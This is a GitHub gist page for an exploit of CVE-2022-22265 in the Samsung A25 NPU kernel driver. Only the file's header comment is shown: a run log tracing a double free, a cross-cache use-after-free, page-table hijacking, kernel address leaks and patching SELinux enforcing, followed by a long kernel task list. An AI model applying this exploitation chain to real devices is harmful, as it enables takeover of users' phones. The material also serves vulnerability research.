Last active
November 2, 2024 09:10
-
-
Save soez/66eabe37a8dec0937cba8e0cb1ab7ebb to your computer and use it in GitHub Desktop.
CVE-2022-22265 Samsung A25 npu driver
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* | |
* Author: @javierprtd | |
* Date : 01-08-2024 | |
* Kernel: 5.10.177 | |
* Samsung A25 NPU: CVE-2022-22265 (bug patched - reintroduced) | |
* | |
*/ | |
// echo 1 > /sys/module/memlogger/holders/npu/drivers/platform:exynos-npu/npu_exynos/npu_err_in_dmesg | |
/* | |
a25x:/ $ /data/local/tmp/exp | |
[+] CVE-2022-22265 | |
[+] mmap pages to phys r/w | |
[+] set num files | |
[+] preparing pipe buffer | |
[+] alloc dmabuf | |
[+] mmap buffer to ncp object | |
[+] open /dev/vertex10 | |
[+] ioctl graph | |
[+] ioctl format | |
[+] ioctl graph | |
[+] init signalfd spray to better cross cache | |
[+] start signalfd cross cache | |
[+] ioctl format | |
[+] getting vulnerable object (from signalfd) | |
[+] ioctl graph | |
[+] ioctl format | |
[+] ioctl streamon | |
[+] ioctl streamoff (double free) | |
[+] spray pipe_buffer | |
[+] locating vulnerable signalfd object (uaf) | |
[+] pipe_buffer->page leak: 0xffffffff0134c800 | |
[+] pipe_buffer->page to virt: 0xffffff804d320000 | |
[+] pipe_buffer->page to virt to page: 0xffffffff0134c800 | |
[+] fd_signal found at 31240th | |
[+] locating vulnerable object pipe_buffer (for cross cache) | |
[+] pipe fd found at 2th | |
[+] free vulnerable object (from pipe_buffer) | |
[+] finishing cross cache | |
[+] spray page table | |
[+] phys leak 0x00e80008e8a92f43 | |
[+] mmap buffer to manage tlb | |
[+] looking for page table and phys pte | |
[+] found distinct page at virtual 0x2b0000 | |
[!] be patient now, looking for page table | |
[+] found page table at phys 0x00e80008edc7bf43 and phys valid buffer pte 0x00e80008ac4acf43 | |
[+] looking for victim to migrate | |
[+] found victim to migrate at virtual buffer full_tlb 0x7938800000 | |
[+] page table self pointer | |
[+] munmap evil | |
[+] looking for victim page | |
[+] found victim page at virtual buffer full_tlb 0x7938801000 | |
[+] looking for kernel phys | |
[+] kernel phys base at 0x80098000 | |
[+] kernel phys offset 0x98000 | |
[+] kernel phys data at 0x81e78000 | |
[+] kernel virtual selinux_state at 0xffffffc00a262968 | |
[+] kernel virtual init_task at 0xffffffc009e95e80 | |
[+] kernel virtual base at 0xffffffc008098000 | |
[+] go with selinux bypass | |
[+] selinux enforcing patched | |
[+] libbase.so mapped at 0x7931ff5000 | |
[+] LogLine found at 0x7932019818 | |
[+] looking for process | |
ffffff881569a500 -> init | |
ffffff8815698000 -> kthreadd | |
ffffff881569ca00 -> rcu_gp | |
ffffff881569dc80 -> rcu_par_gp | |
ffffff881569b780 -> kworker/0:0 | |
ffffff8815699280 -> kworker/0:0H | |
ffffff88156fdc80 -> kworker/u16:0 | |
ffffff88156fb780 -> mm_percpu_wq | |
ffffff88156f9280 -> kworker/u16:1 | |
ffffff88156fa500 -> rcu_tasks_kthre | |
ffffff88156f8000 -> rcu_tasks_trace | |
ffffff88156fca00 -> ksoftirqd/0 | |
ffffff8815741280 -> rcu_preempt | |
ffffff8815742500 -> rcub/0 | |
ffffff8815740000 -> rcuc/0 | |
ffffff8815744a00 -> migration/0 | |
ffffff8815752500 -> cpuhp/0 | |
ffffff881579a500 -> cpuhp/1 | |
ffffff8815798000 -> migration/1 | |
ffffff881579ca00 -> rcuc/1 | |
ffffff881579dc80 -> ksoftirqd/1 | |
ffffff881579b780 -> kworker/1:0 | |
ffffff8815799280 -> kworker/1:0H | |
ffffff8815d24a00 -> cpuhp/2 | |
ffffff8815d25c80 -> migration/2 | |
ffffff8815d23780 -> rcuc/2 | |
ffffff8815d21280 -> ksoftirqd/2 | |
ffffff8815d22500 -> kworker/2:0 | |
ffffff8815d20000 -> kworker/2:0H | |
ffffff8815ee9280 -> cpuhp/3 | |
ffffff8815eea500 -> migration/3 | |
ffffff8815ee8000 -> rcuc/3 | |
ffffff8815eeca00 -> ksoftirqd/3 | |
ffffff8815eedc80 -> kworker/3:0 | |
ffffff8815eeb780 -> kworker/3:0H | |
ffffff8816069280 -> cpuhp/4 | |
ffffff881606a500 -> migration/4 | |
ffffff8816068000 -> rcuc/4 | |
ffffff881606ca00 -> ksoftirqd/4 | |
ffffff881606dc80 -> kworker/4:0 | |
ffffff881606b780 -> kworker/4:0H | |
ffffff88161f9280 -> cpuhp/5 | |
ffffff88161fa500 -> migration/5 | |
ffffff88161f8000 -> rcuc/5 | |
ffffff88161fca00 -> ksoftirqd/5 | |
ffffff88161fdc80 -> kworker/5:0 | |
ffffff88161fb780 -> kworker/5:0H | |
ffffff88163b9280 -> cpuhp/6 | |
ffffff88163ba500 -> migration/6 | |
ffffff88163b8000 -> rcuc/6 | |
ffffff88163bca00 -> ksoftirqd/6 | |
ffffff88163bdc80 -> kworker/6:0 | |
ffffff88163bb780 -> kworker/6:0H | |
ffffff8816540000 -> cpuhp/7 | |
ffffff8816544a00 -> migration/7 | |
ffffff8816545c80 -> rcuc/7 | |
ffffff8816543780 -> ksoftirqd/7 | |
ffffff8816541280 -> kworker/7:0 | |
ffffff8816542500 -> kworker/7:0H | |
ffffff8816da1280 -> netns | |
ffffff8816ef4a00 -> kworker/6:1 | |
ffffff8816ef5c80 -> kworker/0:1 | |
ffffff8816ef3780 -> kworker/7:1 | |
ffffff8816ef1280 -> kworker/1:1 | |
ffffff8816ef2500 -> kworker/2:1 | |
ffffff8816ef0000 -> kworker/3:1 | |
ffffff8817005c80 -> kworker/4:1 | |
ffffff8817003780 -> kworker/5:1 | |
ffffff8817001280 -> kauditd | |
ffffff8817002500 -> khungtaskd | |
ffffff8817000000 -> oom_reaper | |
ffffff8817004a00 -> writeback | |
ffffff88172eca00 -> kcompactd0 | |
ffffff88173eca00 -> kblockd | |
ffffff88173edc80 -> blkcg_punt_bio | |
ffffff881744dc80 -> edac-poller | |
ffffff881744b780 -> devfreq_wq | |
ffffff8817449280 -> watchdogd | |
ffffff881744a500 -> kworker/7:1H | |
ffffff881739dc80 -> kswapd0 | |
ffffff881739ca00 -> kworker/u17:0 | |
ffffff8817390000 -> erofs_worker/0 | |
ffffff8817392500 -> erofs_worker/1 | |
ffffff8817391280 -> erofs_worker/2 | |
ffffff8817393780 -> erofs_worker/3 | |
ffffff8817395c80 -> erofs_worker/4 | |
ffffff8817394a00 -> erofs_worker/5 | |
ffffff8817348000 -> erofs_worker/6 | |
ffffff881734a500 -> erofs_worker/7 | |
ffffff8817349280 -> kworker/6:1H | |
ffffff881734dc80 -> dmabuf-deferred | |
ffffff881734ca00 -> uas | |
ffffff88172edc80 -> uether | |
ffffff8816da2500 -> dm_bufio_cache | |
ffffff8816da0000 -> ipv6_addrconf | |
ffffff8816da4a00 -> five_wq | |
ffffff8816da5c80 -> five_hook_wq | |
ffffff881c509280 -> kworker/7:2 | |
ffffff881c50b780 -> kworker/6:2 | |
ffffff88172f0000 -> kworker/u16:2 | |
ffffff88172f4a00 -> acpm_update_log | |
ffffff88172f2500 -> irq/107-1190000 | |
ffffff88172f3780 -> kworker/7:3 | |
ffffff88172f1280 -> irq/151-s2mpu | |
ffffff88172f5c80 -> irq/152-s2mpu | |
ffffff881d144a00 -> irq/153-s2mpu | |
ffffff881d145c80 -> irq/154-s2mpu | |
ffffff881d143780 -> irq/155-s2mpu | |
ffffff881d141280 -> irq/156-s2mpu | |
ffffff881d142500 -> irq/157-s2mpu | |
ffffff881d140000 -> irq/158-s2mpu | |
ffffff881d14b780 -> irq/159-s2mpu | |
ffffff881d149280 -> irq/160-s2mpu | |
ffffff881d14a500 -> irq/161-s2mpu | |
ffffff881d148000 -> irq/162-s2mpu | |
ffffff881d14ca00 -> irq/163-s2mpu | |
ffffff881d14dc80 -> irq/164-s2mpu | |
ffffff881d198000 -> irq/165-s2mpu | |
ffffff881d19ca00 -> irq/166-s2mpu | |
ffffff881d19dc80 -> irq/167-s2mpu | |
ffffff881d19b780 -> irq/168-s2mpu | |
ffffff881d199280 -> irq/169-s2mpu | |
ffffff881d19a500 -> irq/170-s2mpu | |
ffffff881d1e1280 -> irq/171-s2mpu | |
ffffff881d1e2500 -> irq/172-s2mpu | |
ffffff881d1e0000 -> irq/173-s2mpu | |
ffffff881d1e4a00 -> irq/174-exynos- | |
ffffff881d1e5c80 -> irq/123-118c000 | |
ffffff881e885c80 -> sec_audio_dbg_s | |
ffffff881e883780 -> sec_abc_wq | |
ffffff881e881280 -> typec_manager_e | |
ffffff881e884a00 -> typec_manager_m | |
ffffff881c51dc80 -> irq/292-1171000 | |
ffffff881c51ca00 -> irq/293-1171000 | |
ffffff881c518000 -> irq/294-1171000 | |
ffffff881c51b780 -> irq/295-1171000 | |
ffffff881c519280 -> irq/296-1171000 | |
ffffff881c51a500 -> irq/297-1171000 | |
ffffff881d1e3780 -> irq/298-1171000 | |
ffffff88173e4a00 -> irq/299-1171000 | |
ffffff88173e5c80 -> irq/300-1171000 | |
ffffff88173eb780 -> irq/301-1171000 | |
ffffff88173e9280 -> fast_switch_pos | |
ffffff88173ea500 -> fast_switch_pos | |
ffffff88173e8000 -> thermal_BIG | |
ffffff8816da3780 -> thermal_hotplug | |
ffffff881f6f5c80 -> thermal_LITTLE | |
ffffff881f6f3780 -> thermal_G3D | |
ffffff881f6f1280 -> thermal_ISP | |
ffffff881f6f2500 -> thermal_NPU | |
ffffff881f6f0000 -> thermal_CP | |
ffffff881f6f4a00 -> fast_switch:0 | |
ffffff881f74a500 -> fast_switch:6 | |
ffffff881f748000 -> kworker/6:3 | |
ffffff881f74ca00 -> g3d_dvfs | |
ffffff881f74dc80 -> kbase_job_fault | |
ffffff881f74b780 -> kworker/u17:1 | |
ffffff881f749280 -> simpleinteracti | |
ffffff881f730000 -> simpleinteracti | |
ffffff881f734a00 -> simpleinteracti | |
ffffff881f735c80 -> simpleinteracti | |
ffffff881f733780 -> simpleinteracti | |
ffffff881f731280 -> simpleinteracti | |
ffffff881f732500 -> simpleinteracti | |
ffffff881f72ca00 -> simpleinteracti | |
ffffff881f72dc80 -> cpif_tpmon_moni | |
ffffff881f72b780 -> cpif_tpmon_boos | |
ffffff881f729280 -> shmem_tx_wq | |
ffffff881f72a500 -> irq/177-tzasc | |
ffffff881f728000 -> irq/178-tzasc | |
ffffff88205a8000 -> irq/179-ppmpu | |
ffffff88205aca00 -> irq/180-ppmpu | |
ffffff88205adc80 -> hwrng | |
ffffff88205ab780 -> irq/62-14c50000 | |
ffffff88205a9280 -> irq/63-14c50000 | |
ffffff88205aa500 -> irq/64-15110000 | |
ffffff88207d2500 -> irq/65-15110000 | |
ffffff88207d0000 -> abox_ipc | |
ffffff88207d4a00 -> irq/66-15140000 | |
ffffff88207d5c80 -> irq/67-15140000 | |
ffffff88207d3780 -> irq/68-15170000 | |
ffffff88207d1280 -> irq/69-15170000 | |
ffffff8814c7a500 -> irq/70-151a0000 | |
ffffff8814c78000 -> irq/71-151a0000 | |
ffffff8814c7ca00 -> irq/72-15580000 | |
ffffff8814c7dc80 -> irq/73-15580000 | |
ffffff8814c7b780 -> irq/74-15480000 | |
ffffff8814c79280 -> irq/75-15480000 | |
ffffff8814ca9280 -> irq/76-153a0000 | |
ffffff8814caa500 -> abox_qos | |
ffffff8814ca8000 -> irq/77-153a0000 | |
ffffff8814caca00 -> kworker/5:2 | |
ffffff8814cadc80 -> irq/78-153d0000 | |
ffffff8814cab780 -> irq/79-153d0000 | |
ffffff8814d2dc80 -> irq/80-12cd0000 | |
ffffff8814d2b780 -> irq/81-12cd0000 | |
ffffff8814d29280 -> irq/82-10b50000 | |
ffffff8814d2a500 -> irq/83-10b50000 | |
ffffff8814d28000 -> irq/84-10b80000 | |
ffffff8814d2ca00 -> irq/85-10b80000 | |
ffffff8814d78000 -> irq/86-14900000 | |
ffffff8814d7ca00 -> irq/87-14900000 | |
ffffff8814d7dc80 -> irq/88-149d0000 | |
ffffff8814d7b780 -> irq/89-149d0000 | |
ffffff8814d79280 -> irq/90-15680000 | |
ffffff8814d7a500 -> irq/91-15680000 | |
ffffff8814e50000 -> irq/92-156b0000 | |
ffffff8814e54a00 -> irq/93-156b0000 | |
ffffff8814e55c80 -> kworker/4:2 | |
ffffff8814e53780 -> irq/94-12e70000 | |
ffffff8814e51280 -> irq/95-12e70000 | |
ffffff8814e52500 -> panel0:disp-det | |
ffffff8814810000 -> panel0:pcd | |
ffffff8814814a00 -> panel0:err-fg | |
ffffff8814815c80 -> panel0:conn-det | |
ffffff8814813780 -> panel0:panel-co | |
ffffff8814811280 -> panel0:panel-up | |
ffffff8814812500 -> panel0:evasion- | |
ffffff8814869280 -> panel-bl-thread | |
ffffff881486a500 -> abd_blank_workq | |
ffffff8814868000 -> rbin | |
ffffff881486ca00 -> rbin_shrink | |
ffffff881486dc80 -> crtc0_kthread | |
ffffff881486b780 -> crtc1_kthread | |
ffffff88fe8fa500 -> card0-crtc0 | |
ffffff88fe8f8000 -> card0-crtc1 | |
ffffff88fe8fca00 -> wq_vsync | |
ffffff88fe8fdc80 -> wq_fsync | |
ffffff881e880000 -> kworker/2:2 | |
ffffff881e882500 -> wq_dispon | |
ffffff881734b780 -> wq_panel_probe | |
ffffff881739b780 -> log_collector | |
ffffff881739a500 -> failure_wq | |
ffffff8817399280 -> syserr_recovery | |
ffffff8817398000 -> fm_client_wq | |
ffffff88fd6a8000 -> tz_worker_threa | |
ffffff88fd6aca00 -> tz_worker_threa | |
ffffff88fd6adc80 -> tz_worker_threa | |
ffffff88fd6ab780 -> tz_worker_threa | |
ffffff88fd6a9280 -> tz_worker_threa | |
ffffff88fd6aa500 -> tz_worker_threa | |
ffffff88fe8fb780 -> tz_worker_threa | |
ffffff88fe8f9280 -> tz_worker_threa | |
ffffff88fd6f5c80 -> ree_time | |
ffffff88fd6fdc80 -> tz_iwlog_thread | |
ffffff881c50dc80 -> tz_iwsock | |
ffffff88fd67ca00 -> connecting_thre | |
ffffff88fd67dc80 -> wifilogger | |
ffffff88173e3780 -> wifilogger | |
ffffff88173e1280 -> wifilogger | |
ffffff881c50ca00 -> wifilogger | |
ffffff88fd304a00 -> cfg80211 | |
ffffff88173e2500 -> conn_logger | |
ffffff88173e0000 -> usb_notify | |
ffffff88fd6f3780 -> s2mpu13-wqueue@ | |
ffffff88fd6f1280 -> irq/306-s2mpu13 | |
ffffff88fd6f2500 -> power-keys-wq0@ | |
ffffff88fd6f0000 -> s2mpu14-wqueue@ | |
ffffff88fd6f4a00 -> scsi_eh_0 | |
ffffff88fcda4a00 -> scsi_tmf_0 | |
ffffff88fcda5c80 -> ufs_perf_0 | |
ffffff88fcda3780 -> ufs_eh_wq_0 | |
ffffff88fcda1280 -> ufs_clk_gating_ | |
ffffff88fcb29280 -> usb_int_qos_wq | |
ffffff88fcb2a500 -> usb_tpmon_wq | |
ffffff88fcb28000 -> SEC_WB_wq | |
ffffff88fcda2500 -> kworker/u16:3 | |
ffffff88fd6fb780 -> kworker/0:1H | |
ffffff88fd6f9280 -> kworker/u16:4 | |
ffffff88fcb2dc80 -> kworker/1:1H | |
ffffff88fd305c80 -> kworker/2:1H | |
ffffff88fd303780 -> kworker/5:1H | |
ffffff88fd301280 -> kworker/3:1H | |
ffffff88fd300000 -> srpmb_wq | |
ffffff88e5f69280 -> mfc/inst_migrat | |
ffffff88fcb2b780 -> mfc/butler | |
ffffff88e5ff8000 -> irq/355-12ed000 | |
ffffff88e5ffca00 -> mfc_core/meerka | |
ffffff88e5ffdc80 -> mfc_core/idle | |
ffffff88e5f6a500 -> mfc_core/butler | |
ffffff88e5f68000 -> mfc_core/qos_ct | |
ffffff88e5f6ca00 -> irq/493-s2mf301 | |
ffffff88e5f6dc80 -> dw-mci-card | |
ffffff88e5f6b780 -> dw_mci_clk_ctrl | |
ffffff8816f99280 -> kworker/6:4 | |
ffffff8816f9a500 -> chub_log_kthrea | |
ffffff8816f98000 -> irq/268-11a1000 | |
ffffff8816f9ca00 -> npu_exynos | |
ffffff8816f9dc80 -> kworker/0:2 | |
ffffff88e5ffb780 -> 3-003c | |
ffffff88fd67b780 -> pdic_irq_event | |
ffffff88fd679280 -> 3-003c | |
ffffff88fd67a500 -> irq/495-s2mf301 | |
ffffff88fd678000 -> kworker/1:2 | |
ffffff88358aa500 -> fingerprint_deb | |
ffffff88358a8000 -> bootc_wq | |
ffffff88358aca00 -> samsung_mobile_ | |
ffffff88e5ff9280 -> kworker/2:3 | |
ffffff88e5ffa500 -> charger-wq | |
ffffff8835405c80 -> kworker/1:3 | |
ffffff8835403780 -> kworker/1:4 | |
ffffff8835401280 -> shub_dev_wq | |
ffffff8835402500 -> shub_debug_wq | |
ffffff8835400000 -> sec_vibrator | |
ffffff8835404a00 -> sec_input_irq_w | |
ffffff88356d2500 -> fts_wq | |
ffffff88356d0000 -> fts_irq_wq | |
ffffff88fcda0000 -> irq/496-focalte | |
ffffff883572b780 -> irq/497-A96T3X6 | |
ffffff8835729280 -> kworker/2:4 | |
ffffff8816f9b780 -> pass-through | |
ffffff883505b780 -> irq/499-tfa98xx | |
ffffff8835059280 -> irq/500-tfa98xx | |
ffffff883505a500 -> jbd2/sda26-8 | |
ffffff8835058000 -> ext4-rsv-conver | |
ffffff88356d4a00 -> kdmflush | |
ffffff88356d5c80 -> kdmflush | |
ffffff88358adc80 -> kdmflush | |
ffffff88358ab780 -> kdmflush | |
ffffff88358a9280 -> kdmflush | |
ffffff8835223780 -> kdmflush | |
ffffff8835221280 -> kverityd | |
ffffff883505ca00 -> kdmflush | |
ffffff8835222500 -> kverityd | |
ffffff8835220000 -> kdmflush | |
ffffff8835224a00 -> kverityd | |
ffffff8835225c80 -> kdmflush | |
ffffff8834ce2500 -> kverityd | |
ffffff8834ce0000 -> kdmflush | |
ffffff8834ce4a00 -> kverityd | |
ffffff8834ce5c80 -> kdmflush | |
ffffff8834ce3780 -> kverityd | |
ffffff8834ce1280 -> ext4-rsv-conver | |
ffffff8834f42500 -> kdmflush | |
ffffff8834f40000 -> kverityd | |
ffffff8834f44a00 -> ext4-rsv-conver | |
ffffff88172e9280 -> init | |
ffffff88172e8000 -> ueventd | |
ffffff8834f41280 -> kworker/4:1H | |
ffffff88334edc80 -> kdmflush | |
ffffff88334eb780 -> kdmflush | |
ffffff88334e9280 -> kdmflush | |
ffffff883350ca00 -> kdmflush | |
ffffff883350dc80 -> kdmflush | |
ffffff883350b780 -> kdmflush | |
ffffff8833509280 -> kdmflush | |
ffffff883350a500 -> kdmflush | |
ffffff8833508000 -> kdmflush | |
ffffff883356b780 -> kdmflush | |
ffffff8833569280 -> kdmflush | |
ffffff883356a500 -> kdmflush | |
ffffff8833568000 -> kdmflush | |
ffffff88335d9280 -> kdmflush | |
ffffff88335dca00 -> kdmflush | |
ffffff88335ddc80 -> kdmflush | |
ffffff8833641280 -> kdmflush | |
ffffff8833640000 -> kdmflush | |
ffffff8833644a00 -> kdmflush | |
ffffff88336b8000 -> kdmflush | |
ffffff88336bb780 -> kdmflush | |
ffffff88336b9280 -> kdmflush | |
ffffff883373a500 -> loop0 | |
ffffff8833738000 -> loop1 | |
ffffff883373ca00 -> loop2 | |
ffffff881c508000 -> loop3 | |
ffffff883505dc80 -> loop4 | |
ffffff88331e5c80 -> ext4-rsv-conver | |
ffffff88331e3780 -> ext4-rsv-conver | |
ffffff88331e2500 -> ext4-rsv-conver | |
ffffff88356d1280 -> ext4-rsv-conver | |
ffffff88328f4a00 -> ext4-rsv-conver | |
ffffff88328f3780 -> kworker/0:3 | |
ffffff88328f1280 -> init | |
ffffff883373dc80 -> tfa98xx | |
ffffff881ab38000 -> tfacal | |
ffffff88351db780 -> prng_seeder | |
ffffff883371a500 -> tfa98xx | |
ffffff883572a500 -> tfacal | |
ffffff8834f45c80 -> kworker/1:5 | |
ffffff8835728000 -> logd | |
ffffff88fd6f8000 -> lmkd | |
ffffff88351d9280 -> servicemanager | |
ffffff8834f43780 -> hwservicemanage | |
ffffff881a251280 -> vndservicemanag | |
ffffff883572ca00 -> psimon | |
ffffff88f1ec8000 -> watchdogd | |
ffffff88351da500 -> binder:566_2 | |
ffffff881a254a00 -> jbd2/sda34-8 | |
ffffff881a255c80 -> ext4-rsv-conver | |
ffffff881733a500 -> jbd2/sda1-8 | |
ffffff881733dc80 -> ext4-rsv-conver | |
ffffff8833719280 -> kdmflush | |
ffffff8817339280 -> jbd2/sda33-8 | |
ffffff881733b780 -> ext4-rsv-conver | |
ffffff881733ca00 -> jbd2/sda2-8 | |
ffffff8817338000 -> ext4-rsv-conver | |
ffffff88edf68000 -> irq/498-rt5665 | |
ffffff88edf6ca00 -> iod | |
ffffff88edf6b780 -> tzdaemon | |
ffffff88328f0000 -> tzts_daemon | |
ffffff88f1ec9280 -> suspend-service | |
ffffff88e6bb3780 -> binder:606_2 | |
ffffff88f1cf9280 -> android.hardwar | |
ffffff88f1ecb780 -> vendor.samsung. | |
ffffff88f1ecdc80 -> vendor.samsung. | |
ffffff88328f2500 -> vendor.samsung. | |
ffffff88e6bb1280 -> vendor.samsung. | |
ffffff88147ab780 -> f2fs_ckpt-254:5 | |
ffffff88147a9280 -> f2fs_discard-25 | |
ffffff881441b780 -> f2fs_gc-254:53 | |
ffffff8814738000 -> vendor.samsung. | |
ffffff88146ab780 -> vaultkeeperd | |
ffffff88e6bb5c80 -> tombstoned | |
ffffff8814523780 -> loop5 | |
ffffff8814418000 -> loop6 | |
ffffff8814521280 -> loop7 | |
ffffff88146adc80 -> loop8 | |
ffffff88146a9280 -> loop9 | |
ffffff88147aca00 -> loop10 | |
ffffff88e6bb2500 -> loop11 | |
ffffff881473ca00 -> loop12 | |
ffffff883c59dc80 -> loop13 | |
ffffff883c59b780 -> loop14 | |
ffffff88147adc80 -> loop15 | |
ffffff883c599280 -> loop16 | |
ffffff883c59a500 -> loop17 | |
ffffff881441dc80 -> loop18 | |
ffffff883c598000 -> loop19 | |
ffffff883c59ca00 -> loop20 | |
ffffff883cad1280 -> loop21 | |
ffffff88146aa500 -> loop22 | |
ffffff883cad2500 -> loop23 | |
ffffff881473dc80 -> loop24 | |
ffffff881473b780 -> kverityd | |
ffffff8814739280 -> loop25 | |
ffffff883cac4a00 -> ext4-rsv-conver | |
ffffff88147a8000 -> ext4-rsv-conver | |
ffffff881473a500 -> loop26 | |
ffffff88146a8000 -> loop27 | |
ffffff881ab3b780 -> ext4-rsv-conver | |
ffffff881ab39280 -> loop28 | |
ffffff883cac5c80 -> ext4-rsv-conver | |
ffffff88146aca00 -> loop29 | |
ffffff8814524a00 -> ext4-rsv-conver | |
ffffff883cc43780 -> ext4-rsv-conver | |
ffffff88f1ecca00 -> loop30 | |
ffffff883cc9b780 -> ext4-rsv-conver | |
ffffff883cad0000 -> ext4-rsv-conver | |
ffffff883cad4a00 -> ext4-rsv-conver | |
ffffff883cc99280 -> loop31 | |
ffffff883cc9a500 -> ext4-rsv-conver | |
ffffff883cc41280 -> ext4-rsv-conver | |
ffffff883cc42500 -> ext4-rsv-conver | |
ffffff883cc40000 -> ext4-rsv-conver | |
ffffff883cc98000 -> ext4-rsv-conver | |
ffffff883cc9ca00 -> kverityd | |
ffffff883cc9dc80 -> kverityd | |
ffffff883cad5c80 -> loop32 | |
ffffff883ccfb780 -> ext4-rsv-conver | |
ffffff883ca2b780 -> ext4-rsv-conver | |
ffffff883cad3780 -> ext4-rsv-conver | |
ffffff883c9cb780 -> ext4-rsv-conver | |
ffffff883c9ca500 -> ext4-rsv-conver | |
ffffff883cc44a00 -> ext4-rsv-conver | |
ffffff883cc90000 -> loop33 | |
ffffff883cd6b780 -> loop34 | |
ffffff883cc94a00 -> loop35 | |
ffffff883c9c9280 -> loop36 | |
ffffff883cc45c80 -> loop37 | |
ffffff883cdc1280 -> kverityd | |
ffffff883cd69280 -> loop38 | |
ffffff883cdeb780 -> ext4-rsv-conver | |
ffffff883cc95c80 -> loop39 | |
ffffff883cc93780 -> kverityd | |
ffffff883cc91280 -> kverityd | |
ffffff883cc92500 -> ext4-rsv-conver | |
ffffff883ce13780 -> loop40 | |
ffffff883cde9280 -> ext4-rsv-conver | |
ffffff883cdea500 -> loop41 | |
ffffff883cde8000 -> kverityd | |
ffffff883cdc2500 -> kverityd | |
ffffff883ccf9280 -> kverityd | |
ffffff881ab3a500 -> kverityd | |
ffffff881ab3ca00 -> ext4-rsv-conver | |
ffffff883ca6dc80 -> loop42 | |
ffffff883cf83780 -> ext4-rsv-conver | |
ffffff883ce11280 -> kverityd | |
ffffff883ccfa500 -> ext4-rsv-conver | |
ffffff883cdc0000 -> kverityd | |
ffffff883cdc4a00 -> loop43 | |
ffffff883cd6a500 -> ext4-rsv-conver | |
ffffff883ce12500 -> ext4-rsv-conver | |
ffffff883cdc5c80 -> ext4-rsv-conver | |
ffffff883cdc3780 -> loop44 | |
ffffff883d409280 -> ext4-rsv-conver | |
ffffff883cdeca00 -> loop45 | |
ffffff883ccf8000 -> kverityd | |
ffffff883ccfca00 -> kverityd | |
ffffff883ccfdc80 -> ext4-rsv-conver | |
ffffff883ca2dc80 -> ext4-rsv-conver | |
ffffff883cd68000 -> kverityd | |
ffffff883cd6ca00 -> kverityd | |
ffffff883cdedc80 -> kverityd | |
ffffff883d4edc80 -> kverityd | |
ffffff883d4eb780 -> kverityd | |
ffffff883ca28000 -> ext4-rsv-conver | |
ffffff883ca2a500 -> ext4-rsv-conver | |
ffffff883cf81280 -> kverityd | |
ffffff883cf82500 -> ext4-rsv-conver | |
ffffff883ca2ca00 -> ext4-rsv-conver | |
ffffff883ca29280 -> ext4-rsv-conver | |
ffffff883ce10000 -> ext4-rsv-conver | |
ffffff883cd6dc80 -> kverityd | |
ffffff883d4e9280 -> kverityd | |
ffffff883d4ea500 -> ext4-rsv-conver | |
ffffff883d4e8000 -> ext4-rsv-conver | |
ffffff883d705c80 -> magiskd | |
ffffff883cac3780 -> cass | |
ffffff883cac2500 -> emservice | |
ffffff883d700000 -> binder:836_2 | |
ffffff883d704a00 -> binder:837_3 | |
ffffff883d40ca00 -> main | |
ffffff883d40dc80 -> main | |
ffffff883ca69280 -> [email protected] | |
ffffff883c9d3780 -> audio.service | |
ffffff883ca6b780 -> [email protected] | |
ffffff883ca6ca00 -> [email protected] | |
ffffff883ca68000 -> [email protected] | |
ffffff883c9d2500 -> [email protected] | |
ffffff883c9d5c80 -> [email protected] | |
ffffff883cf85c80 -> [email protected] | |
ffffff883ce14a00 -> iptables-restor | |
ffffff883ca6a500 -> android.hardwar | |
ffffff883ce15c80 -> ip6tables-resto | |
ffffff881a86a500 -> neuralnetworks@ | |
ffffff881a869280 -> [email protected] | |
ffffff881a86dc80 -> [email protected] | |
ffffff881a86b780 -> [email protected] | |
ffffff881a868000 -> binder:859_2 | |
ffffff881a86ca00 -> hermesd | |
ffffff8843959280 -> vendor.samsung. | |
ffffff883c9d4a00 -> vendor.samsung. | |
ffffff883c9d0000 -> android.hardwar | |
ffffff883c9d1280 -> android.hardwar | |
ffffff88fd6fca00 -> android.hardwar | |
ffffff88408cca00 -> samsung.hardwar | |
ffffff883d4eca00 -> samsung.softwar | |
ffffff883ca1ca00 -> [email protected] | |
ffffff8845cd3780 -> [email protected] | |
ffffff8845c18000 -> [email protected] | |
ffffff8845cd2500 -> vendor.samsung. | |
ffffff8845cd0000 -> [email protected] | |
ffffff8845c1ca00 -> [email protected] | |
ffffff8845cba500 -> vendor.samsung. | |
ffffff8845cd4a00 -> [email protected] | |
ffffff8845cd5c80 -> ExynosHWCServic | |
ffffff8847ab4a00 -> [email protected] | |
ffffff8847ab5c80 -> eden_runtime@1. | |
ffffff8847ab3780 -> [email protected] | |
ffffff8847ab1280 -> audioserver | |
ffffff8847ab2500 -> credstore | |
ffffff8847ab0000 -> binder:954_2 | |
ffffff88478e1280 -> kumihodecoder | |
ffffff88478e2500 -> perfmond | |
ffffff88491c5c80 -> surfaceflinger | |
ffffff88492d2500 -> drmserver | |
ffffff8850202500 -> ewlogd | |
ffffff88492d3780 -> traced_probes | |
ffffff88491c2500 -> traced | |
ffffff884a942500 -> kbase_event | |
ffffff8849144a00 -> kbase_event | |
ffffff8858a44a00 -> vendor.samsung. | |
ffffff8847a05c80 -> binder:1044_2 | |
ffffff88589ab780 -> fabric_crypto | |
ffffff8847a02500 -> imsd | |
ffffff8845fbb780 -> binder:1061_2 | |
ffffff8845fb9280 -> smdexe | |
ffffff8845fb8000 -> diagexe | |
ffffff8850015c80 -> ddexe | |
ffffff8850013780 -> connfwexe | |
ffffff885bbbdc80 -> binder:1069_2 | |
ffffff885b964a00 -> kbase_event | |
ffffff885bbba500 -> mediaextractor | |
ffffff885d935c80 -> mediametrics | |
ffffff885d933780 -> mediaserver | |
ffffff885b963780 -> speg_helper | |
ffffff885f781280 -> spqr_service | |
ffffff885d8d2500 -> storaged | |
ffffff885d8d0000 -> wificond | |
ffffff8860452500 -> [email protected] | |
ffffff8860450000 -> argosd | |
ffffff8860454a00 -> cbd | |
ffffff8860455c80 -> gpsd | |
ffffff8860453780 -> epic | |
ffffff8860451280 -> memlogd | |
ffffff885bbbca00 -> [email protected] | |
ffffff885b843780 -> rild | |
ffffff8860663780 -> wlbtd | |
ffffff8860662500 -> mediaswcodec | |
ffffff8860664a00 -> gatekeeperd | |
ffffff8860773780 -> abox_log | |
ffffff8860771280 -> [email protected] | |
ffffff8872700000 -> kworker/u17:2 | |
ffffff888423ca00 -> multiclientd | |
ffffff886a343780 -> system_server | |
ffffff8877172500 -> kbase_event | |
ffffff88a8db3780 -> m.android.phone | |
ffffff886a342500 -> ndroid.systemui | |
